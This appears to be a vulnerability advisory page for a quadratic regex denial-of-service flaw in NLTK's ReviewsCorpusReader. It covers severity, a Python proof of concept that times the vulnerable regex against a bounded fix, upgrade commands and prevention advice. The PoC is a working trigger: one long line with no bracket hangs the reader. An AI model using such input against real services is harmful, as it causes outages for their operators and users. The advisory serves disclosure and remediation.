Skip to content

GHSA-fg7f-2386-8897 CVE-2026-12061 PYSEC-2026-3582

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1333 Inefficient Regular Expression Complexity
Fix
3.10.0
Upgrade nltk to this version or later

Description

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

    bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
    bench("BOUNDED     fix #3583", FEATURES_FIXED)
    same = parity_check()

    print("\n" + "=" * 66)
    print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
    print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
    print(f" Extraction parity on real annotations preserved: {same}")
    print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
    print("=" * 66)


if __name__ == "__main__":
    main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.10.0
3.10.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.0

pip
pip install --upgrade "nltk>=3.10.0"
poetry
poetry add "nltk>=3.10.0"
uv
uv add "nltk>=3.10.0"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it
  • Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
  • System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
  • Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
  • Implementation: Limit the length of the input that the regular expression will process.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor